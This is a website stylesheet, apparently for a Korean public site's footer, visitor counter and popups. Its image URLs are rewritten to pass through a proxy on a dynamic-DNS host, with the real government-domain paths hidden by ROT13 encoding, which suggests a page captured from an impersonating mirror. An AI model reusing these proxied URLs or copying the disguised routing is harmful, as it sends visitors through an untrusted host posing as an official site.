#footCopyright{clear:both;float:left;margin-left:160px;color:#454545;font-size:12px;text-transform:uppercase;letter-spacing:0;} .waMark { position:absolute; right:10px; top:0; } #footBtnTop{position:absolute;right:0;top:-110px;} #footBtnPoll{display:none;position:absolute;right:10px;top:0;} #footBtnPoll img{width:120px;} #footSite .desc_box{display:none;width:100%;position:absolute;bottom:46px;left:0;height:144px;padding:0;border-top:1px solid #dddddd;border-bottom:0;z-index:2} .site_item ul{overflow-y:auto;height:144px;border:0;padding:0;border-left:1px solid #dddddd;border-right:1px solid #dddddd;background:#fff;list-style:none} .site_item ul.a_list{display:none} .site_item li a{display:block;height:24px;padding:2px 0;background:#fff;color:#767676;line-height:20px;text-indent:8px;text-decoration:none;} .site_item li a:hover{background:#999;color:#fff} #footSite select{display:none!important;width:100%;border:1px solid #dedede;border-left:0 none;height:38px;line-height:36px;padding:0 10px 0 20px;background:#fff url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Sfho%2Sobneq_fryrpg_neebj_qbja.cat) 100% 50% no-repeat;-webkit-appearance:none;overflow:hidden;color:#767676;cursor:pointer} .ftSocial { margin-bottom:30px; padding-bottom:21px; border-bottom:1px solid #ddd; text-align:center; } .ftSocial ul { font-size:0; } .ftSocial ul li { display:inline-block; margin:0 1%; font-size:13px; vertical-align:top; } .ftSocial ul li.s5 { margin-left:0.5%; } .ftSocial ul li a { display:block; min-width:41px; padding-top:50px; background-repeat:no-repeat; background-position:50% 0; } .ftSocial ul li.s1 a { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_fbpvny_lbhghor_yt.cat); } .ftSocial ul li.s2 a { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_fbpvny_snprobbx_yt.cat); } .ftSocial ul li.s3 a { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_fbpvny_vafgntenz_yt.cat); } .ftSocial ul li.s4 a { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_fbpvny_oybt_yt.cat); } .ftSocial ul li.s5 a { background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_fbpvny_xnxnb_yt.cat); } @media screen and (max-width:1140px){ #footBtnTop{right:20px;} } @media screen and (max-width:1023px){ #footSite .site_item > a{height:100%;background-size:auto 60px;font-size:14px;} } @media screen and (max-width:900px){ #footGlobal .footLogo, .waMark{display:none;} #footCopyright{margin-left:32px;} } @media screen and (max-width:767px){ .ftSocial { display:none; } #footGlobal .frame{padding-right:52px;} #footGlobal{padding-top:20px;padding-bottom:30px;} #footSite{height:auto;} #footSite .site_item{width:50%;height:39px;border-bottom:1px solid #e6e6e6;} /* #footSite #siteItem4,#footSite #siteItem5{width:50%}*/ /* #footSite #siteItem5,#footSite #siteItem6{display:none;border-bottom:0 none;}*/ #footSite #siteItem1 select,#footSite #siteItem3 select{border-right:1px solid #dedede;} #footNav{display:none;} #footNav li,#footAddr address,#footAddr span{padding:0 5px;font-size:12px;} #footAddr{float:left;padding-top:0;margin-left:5px;} #footCopyright{margin-left:10px;} #footBtnTop{ top:0;right:10px;} #footBtnPoll{display:block;float:right;} } @media screen and (max-width:639px){ #footAddr span{border-left:none;} } @media screen and (max-width:400px){ } #headNavList .nav_list a[href*="http"]:after, #headNavList .nav_list a[target="_blank"]:after, #headNavList .nav_list a[title*="새창"]:after, #totalNav .desc_list a[href*="http"]:after, #totalNav .desc_list a[target="_blank"]:after, #totalNav .desc_list a[title*="새창"]:after, #locDepth > li .desc_box li a[href*="http"]:after, #locDepth > li .desc_box li a[target="_blank"]:after, #locDepth > li .desc_box li a[title*="새창"]:after{content:"";display:inline-block;width:20px;height:20px;margin-left:5px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_ohggba_oynax.cat) 100% 50% no-repeat;vertical-align:top;} /* 방문자수 */ .visit_count{position:absolute;top:-4px;right:80px;} .visit_count:after{display:block;clear:both;content:'';} .visit_count > div{color:#474748;} .visit_count .visit_today{padding:2px 2px 2px 32px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Sivfvg_pbhag_gbqnl.cat) 4px 50% no-repeat;background-size:auto 22px;} .visit_count .visit_total{padding:2px 2px 2px 32px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Sivfvg_pbhag_gbgny.cat) 0 50% no-repeat;background-size:auto 22px;} @media screen and (max-width:1023px){ .visit_count{position:static;top:auto;right:auto;clear:both;display:block;padding:0 0 0 160px;} .visit_count > div{float:left;} .visit_count .visit_today{padding:2px 14px 2px 22px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Sivfvg_pbhag_gbqnl.cat) 0 50% no-repeat;background-size:auto 20px;} .visit_count .visit_total{padding:2px 2px 2px 28px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.wvaqb.tb.xe%2Sgurzrf%2Subzr%2Spff%2S..%2Svzntrf%2Spbzzba%2Sivfvg_pbhag_gbgny.cat) 0 50% no-repeat;background-size:auto 20px;} } @media screen and (max-width:900px){ .visit_count{padding-left:32px;} } @media screen and (max-width:767px){ .visit_count{padding-left:10px;} .visit_count .visit_today{padding:2px 10px 2px 22px;} } @media screen and (max-width:767px){ } /* 레이어팝업 .popupWrap { display:none; position:relative; max-width:1120px; margin:0 auto; width: 100%; z-index:205; } .popupWrap.viewWrap { display: block; } .popupWrap .popupArea { position: absolute; top:40px; left:5px; } .popupArea .popup.viewPop { display:inline-block; } .popupArea .popup { display:none; max-width:400px; border:1px solid #462e2e; vertical-align: top; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box; } #layerPop02 { max-width:360px; } #layerPop { max-width:400px; } .popupArea .popupTop a { display:block; } .popupWrap .popupBtm { line-height:22px; padding:6px; background:#000; color:#fff; font-size:14px; } .popupWrap .popupBtm button { width:35px; height:21px; border:1px solid #dcdcdc; vertical-align:top; color:#fff; } @media all and (max-width:960px) { .popupWrap .popupArea {top:90px;} .popupArea .popup { max-width:320px; } .popupArea .popup.viewPop { display:block; } #layerPop, #layerPop02 { max-width:320px; } }*/ /* 레이어팝업 */ .popupWrap { display:none; z-index:10; position:absolute; top: 160px; left: 0; right: 0; max-width:1980px; margin:0 auto; width: 100%; text-align: center; } .popupWrap.viewWrap, .popupWrap:has(.viewWrap) { display: block; } .popupWrap .popup { display: none; border:1px solid #462e2e; vertical-align: top; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box; } .popupWrap .popup.viewPop, .popupWrap .popup.viewWrap { display:inline-block; } .popupWrap .popupTop a { display:block; } .popupWrap .popupBtm { position: relative; line-height:22px; padding:6px; background:#000; color:#fff; text-align: center; font-size:14px; } .popupWrap .popupBtm button { display: inline-block; padding:1px 3px; border:1px solid #dcdcdc; vertical-align:top; color:#fff; } @media all and (max-width:960px) { .popupWrap { top:90px; } .popupWrap .popupTop img { max-width:100% !important; } } /* 선거 레이어팝업 */ .votePopArea { position:absolute; top:161px; left:0; right:0; width:100%; max-width:1120px; margin:0 auto; z-index:999; } .votePopArea > .inner { position:relative; width:430px; } .votePopArea .frame { position: relative; padding-top:100%; } .votePopArea iframe { position:absolute; top:0; left:0; width:100%; height:100%; } .votePopArea .navi { overflow:hidden; float:right; width:180px; padding:3px 2px 5px; background:rgba(0,0,0,0.65); border-radius:6px; text-align:center; line-height:1.1; } .votePopArea .navi * { vertical-align:middle; } .votePopArea .navi label { font-size:12px; color:#fff; cursor:pointer; } .votePopArea .navi input[type='checkbox']:checked + label:before { width:10px; height:10px; background:#fff; background-size:10px auto; margin-top:1px;} .votePopArea .navi input[type='checkbox'] + label span { font-size: 12px;;} .votePopArea .navi input[type='checkbox'] + label:before { width:10px; height: 10px; margin-left:-5px; margin-right:4px; } .votePopArea .navi input[type='checkbox']:focus + label:before {outline: 1px dashed #ffff00;} .votePopArea .navi .popClose { display:inline-block; line-height:16px; margin-left:10px; padding:0 4px; border:0; text-align:center; color:#fff; border:1px solid #000; background:#333; font-size:12px; } @media all and (max-width:1023px) { .votePopArea { top:90px; } .votePopArea >.inner { max-width:430px; width:100%; } }